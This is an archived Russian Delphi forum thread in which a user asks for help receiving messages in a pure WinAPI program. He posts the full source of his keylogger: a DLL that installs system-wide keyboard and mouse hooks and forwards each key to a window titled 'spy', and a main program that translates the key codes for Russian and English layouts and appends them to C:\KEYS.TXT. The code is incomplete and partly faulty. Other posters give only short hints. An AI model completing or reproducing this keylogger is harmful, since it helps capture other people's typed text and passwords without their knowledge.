Главная страница
Top.Mail.Ru    Яндекс.Метрика
Текущий архив: 2006.01.22;
Скачать: CL | DM;

Вниз

WinAPI проблема с type   Найти похожие ветки 

 
maxim123   (2006-01-04 20:20) [0]

Здравствуйте.
 Я пишу хуку и начал изучать WinApi вроде как на нем приложения очень маленькие. Есть DLL она отсылает данные форме выполненой на WINAPI . Есть программа (форма) в прорграмме процедура обработки полученных данных но ее нужно определить в  Type

Program Patch;

Uses windows,messages, shellapi;

type TWMU=record
    msg:Cardinal;
    UU1:Word;
    UU2:Word;
    UU3:LongInt;
    Result:LongInt;

    end;
// Далее следует проблема
//type ......... А что мне сюда вписать прога ведъ на API
//  private
//    procedure HOOKEVENT(var Msg:TWMCHAR);message WM_CHAR;
//end;



 
Maxim123   (2006-01-04 20:56) [1]

Вопрос даже не с type а как обработать информацию приходящию на WinApi Форму


 
Игорь Шевченко ©   (2006-01-05 10:27) [2]


>  как обработать информацию приходящию на WinApi Форму


Очевидно в оконной процедуре ? Я угадал ?


 
maxim123   (2006-01-05 12:36) [3]

Да совершенно точно Третий день бьюсь над этим вопросом
данные отсылаются
SendMessage(FindWindow(nil,"Шпион"),WM_CHAR,wparam,0);

но как их принять???


 
Игорь Шевченко ©   (2006-01-05 12:37) [4]


> но как их принять???


Также, как другие сообщения - в оконной процедуре.


 
maxim123   (2006-01-05 12:39) [5]

А примерчик можно


 
Игорь Шевченко ©   (2006-01-05 13:39) [6]


> А примерчик можно


У тебя он уже есть - твоя "форма на WinAPI"


 
Gero ©   (2006-01-05 13:44) [7]

> SendMessage(FindWindow(nil,"Шпион"),WM_CHAR,wparam,0);

А ведь так потом и пишут в программах.


 
maxim123   (2006-01-05 13:55) [8]

мда ну тогда приведу весь код

DLL

library hook;
uses  
 windows;

const
 //Messages.pas;

 WM_CHAR             = $0102;

function KeyboardProc(code:Integer;wparam,
               lparam:LongInt):LRESULT; stdcall
begin
SendMessage(FindWindow("TForm1","Шпион"),WM_CHAR,wparam,0);
Result:=0;
end;

exports
KeyboardProc;

begin
end.


Сама программа



Program Patch;

Uses windows,messages, shellapi, SysUtils, Classes, dialogs;

//type Tmyclass = class
//...... А что мне сюда вписать прога веди на API
// private
//   procedure HOOKEVENT(var Msg:TWMCHAR);message WM_CHAR;
//end;

var
 Msg2:TWMKEY;
 msg: tmsg;
 win: hwnd;
 h,z:hhook;
 libhandle:HINST;
 hkprcKeyboard: TFNHookProc;
 x:integer;

{$R API.RES}
procedure setHookApi;
begin

end;

procedure unsetHookApi;
begin
UnhookWindowsHookEx(h);
UnhookWindowsHookEx(z);
end;

//Функция определения язака
function WinLang:Boolean;
var
 Layout: array [0.. KL_NAMELENGTH] of char;
begin
 GetKeyboardLayoutName(Layout);
if Layout = "00000409" then Result:=False else Result:=True ;
end;

//Обрабатываем сообщения от DLL
procedure HOOKEVENT(var Msg2:TWMKEY);
var F:TextFile;
click: string;
begin
if x=1 then begin
if ((Msg2.CharCode > 512) and (Msg2.CharCode < 523)) or (Msg2.CharCode < 300)  then
begin
  if WinLang then begin
case Msg2.CharCode of
  522: click:="[Rolik]";
  519: click:="[Mouse3]";
  520: click:="[Mouse3]";
  513: click:="[MouseLeft]";
  514: click:="[MouseLeft]";
  516: click:="[MouseRight]";
  517: click:="[MouseRight]";
    8: click:="[BackSpase]";
    9: click:="[Tab]";
   13: click:="[Enter]";
   16: click:="[Shift]";
   17: click:="[Control]";
   18: click:="[Alt]";
   19: click:="[Pause]";
   20: click:="[CapsLock]";
   27: click:="[Esc]";
   32: click:="[Space]";
   33: click:="[PageUp]";
   34: click:="[PageDown]";
   35: click:="[End]";
   36: click:="[Home]";
   37: click:="[влево]";
   38: click:="[вверх]";
   39: click:="[вправо]";
   40: click:="[вниз]";
   44: click:="[PrtScr]";
   45: click:="[Insert]";
   46: click:="[Del]";
   48: click:="0";
   49: click:="1";
   50: click:="2";
   51: click:="3";
   52: click:="4";
   53: click:="5";
   54: click:="6";
   55: click:="7";
   56: click:="8";
   57: click:="9";
   65: click:="ф";
   66: click:="и";
   67: click:="с";
   68: click:="в";
   69: click:="у";
   70: click:="а";
   71: click:="п";
   72: click:="р";
   73: click:="ш";
   74: click:="о";
   75: click:="л";
   76: click:="д";
   77: click:="ь";
   78: click:="т";
   79: click:="щ";
   80: click:="з";
   81: click:="й";
   82: click:="к";
   83: click:="ы";
   84: click:="е";
   85: click:="г";
   86: click:="м";
   87: click:="ц";
   88: click:="ч";
   89: click:="н";
   90: click:="я";
   91: click:="[WinKeyL]";
   92: click:="[WinKeyR]";
   93: click:="[ContextMenu]";
   96: click:="0";
   97: click:="1";
   98: click:="2";
   99: click:="3";
  100: click:="4";
  101: click:="5";
  102: click:="6";
  103: click:="7";
  104: click:="8";
  105: click:="9";
  144: click:="[NumLock]";
  111: click:="/";
  106: click:="*";
  109: click:="-";
  107: click:="+";
  110: click:=".";
  112: click:="[F1]";
  113: click:="[F2]";
  114: click:="[F3]";
  115: click:="[F4]";
  116: click:="[F5]";
  117: click:="[F6]";
  118: click:="[F7]";
  119: click:="[F8]";
  120: click:="[F9]";
  121: click:="[F10]";
  122: click:="[F11";
  123: click:="[F12]";
  145: click:="[ScrollLock]";
  186: click:="ж";
  187: click:="=";
  188: click:="б";
  189: click:="-";
  190: click:="ю";
  191: click:=".";
  192: click:="`";
  219: click:="х";
  220: click:="\";
  221: click:="ъ";
  222: click:="э";
end;
end else begin
 case Msg2.CharCode of
  522: click:="[Rolik]";
  519: click:="[Mouse3]";
  520: click:="[Mouse3]";
  513: click:="[MouseLeft]";
  514: click:="[MouseLeft]";
  516: click:="[MouseRight]";
  517: click:="[MouseRight]";
    8: click:="[BackSpase]";
    9: click:="[Tab]";
   13: click:="[Enter]";
   16: click:="[Shift]";
   17: click:="[Control]";
   18: click:="[Alt]";
   19: click:="[Pause]";
   20: click:="[CapsLock]";
   27: click:="[Esc]";
   32: click:="[Space]";
   33: click:="[PageUp]";
   34: click:="[PageDown]";
   35: click:="[End]";
   36: click:="[Home]";
   37: click:="[влево]";
   38: click:="[вверх]";
   39: click:="[вправо]";
   40: click:="[вниз]";
   44: click:="[PrtScr]";
   45: click:="[Insert]";
   46: click:="[Del]";
   48: click:="0";
   49: click:="1";
   50: click:="2";
   51: click:="3";
   52: click:="4";
   53: click:="5";
   54: click:="6";
   55: click:="7";
   56: click:="8";
   57: click:="9";
   65: click:="a";
   66: click:="b";
   67: click:="c";
   68: click:="d";
   69: click:="e";
   70: click:="f";
   71: click:="g";
   72: click:="h";
   73: click:="i";
   74: click:="j";
   75: click:="k";
   76: click:="l";
   77: click:="m";
   78: click:="n";
   79: click:="o";
   80: click:="p";
   81: click:="q";
   82: click:="r";
   83: click:="s";
   84: click:="t";
   85: click:="u";
   86: click:="v";
   87: click:="w";
   88: click:="x";
   89: click:="y";
   90: click:="z";
   91: click:="[WinKeyL]";
   92: click:="[WinKeyR]";
   93: click:="[ContextMenu]";
   96: click:="0";
   97: click:="1";
   98: click:="2";
   99: click:="3";
  100: click:="4";
  101: click:="5";
  102: click:="6";
  103: click:="7";
  104: click:="8";
  105: click:="9";
  144: click:="[NumLock]";
  111: click:="/";
  106: click:="*";
  109: click:="-";
  107: click:="+";
  110: click:=".";
  112: click:="[F1]";
  113: click:="[F2]";
  114: click:="[F3]";
  115: click:="[F4]";
  116: click:="[F5]";
  117: click:="[F6]";
  118: click:="[F7]";
  119: click:="[F8]";
  120: click:="[F9]";
  121: click:="[F10]";
  122: click:="[F11";
  123: click:="[F12]";
  145: click:="[ScrollLock]";
  186: click:=";";
  187: click:="=";
  188: click:=",";
  189: click:="-";
  190: click:=".";
  191: click:="/";
  192: click:="`";
  219: click:="[";
  220: click:="\";
  221: click:="]";
  222: click:="`";
end;
end;
//Memo1.Lines.Add(click);
AssignFile(F,"C:\KEYS.TXT");
If not FileExists("C:\KEYS.TXT") then Rewrite(F)else
       Append(F);
WriteLn(F,click);
CloseFile(F);
end;
x:=0;
end else x:=1;
Msg2.Result:=0;
end;


 
maxim123   (2006-01-05 13:55) [9]

Procedure trans;
type
  TLayeredWndAttr = function(hwnd:integer; color:integer; level:integer; mode:integer): Integer; stdcall;
const
  LWA_ALPHA = $2;
  WS_EX_LAYERED = $80000;
var
  LayeredWndAttr: TLayeredWndAttr;
  i : integer;
begin
  i := 50;
  LayeredWndAttr := GetProcAddress(GetModuleHandle("user32.dll"),
                 "SetLayeredWindowAttributes");

  SetWindowLong(FindWindow(nil,"test"), GWL_EXSTYLE, WS_EX_LAYERED);
  LayeredWndAttr(FindWindow(nil,"test"), RGB(0,0,0), i*255 div 100, LWA_ALPHA);
end;

Function SettingsDlgProc(Window : hWnd; Msg,WParam,LParam : Integer): Integer; StdCall;

Begin
Result := 0;
Case msg of
wm_InitDialog : Begin Result := 0; End;
wm_Command : Begin
   case LoWord(WParam) of                            
50: begin
trans;
setHookApi;

end;

// ??????????????????????????
WM_CHAR : HOOKEVENT(Msg2);
//?????????????????????????????
end;
end;
wm_Close   : DestroyWindow(Win);
wm_Destroy : PostQuitMessage(0);
else Result := 0;
end;
end;

Procedure RunSettings;
Begin
Win := CreateDialog(hInstance,PCHar(101),0,@SettingsDlgProc);
Showwindow(Win,SW_SHOW);
Updatewindow(Win);
End;

begin
x:=0;
libhandle:=LoadLibrary("hook.dll");
showmessage(floattostr(libhandle));
hkprckeyboard:=GetProcAddress(libhandle, "KeyboardProc");
 h:=SetWindowsHookEX(14,hkprckeyboard,libhandle,0);
 z:=SetWindowsHookEX(WH_KEYBOARD,hkprckeyboard,libhandle,0);
RunSettings;
While GetMessage(Msg,0,0,0) do
begin
TranslateMessage(Msg);
DispatchMessage(Msg);
end;
end.



api.rc



101 DIALOG 0, 0, 266, 95
STYLE DS_SETFONT | DS_MODALFRAME | DS_CENTER | WS_MINIMIZEBOX | WS_POPUPWINDOW |
WS_DLGFRAME
CAPTION "test"
FONT 8, "MS Sans Serif"
{
DEFPUSHBUTTON "Patch", 50, 13, 73, 59, 14
CTEXT "Тест WinAPI", 100, 13, 42, 240, 27, SS_SUNKEN
CONTROL 101, -1, "STATIC", SS_BITMAP | SS_CENTERIMAGE | SS_REALSIZEIMAGE |
SS_SUNKEN, 13, 8, 240, 30
end


 
maxim123   (2006-01-05 14:01) [10]

поправочка в DLL вместо Tform1 NIL вместо шпион test


 
Игорь Шевченко ©   (2006-01-05 14:33) [11]

А где форма на апи ?


 
maxim123   (2006-01-05 14:38) [12]

вот с этой хр***Ю я и разбираюсь файл rc Это настройки формы
если есть у кого другие примеры и предложения то выкладывайте их сюда или мне на мыло maxcor@bk.ru



Страницы: 1 вся ветка

Текущий архив: 2006.01.22;
Скачать: CL | DM;

Наверх




Память: 0.51 MB
Время: 0.113 c
14-1134829873
Piter
2005-12-17 17:31
2006.01.22
Чистосердечное признание


14-1135524553
Fl@sh
2005-12-25 18:29
2006.01.22
Печать pdf


3-1132829235
FesSumy
2005-11-24 13:47
2006.01.22
F1! Экспорт из DBF в XML.


9-1123498084
Дюша
2005-08-08 14:48
2006.01.22
OpenGl в Delphi


6-1128667011
marcel
2005-10-07 10:36
2006.01.22
кириллица в ссылке